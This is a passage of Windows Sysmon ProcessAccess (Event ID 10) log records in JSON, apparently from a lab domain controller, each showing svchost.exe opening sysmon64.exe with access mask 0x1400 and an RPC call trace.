11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 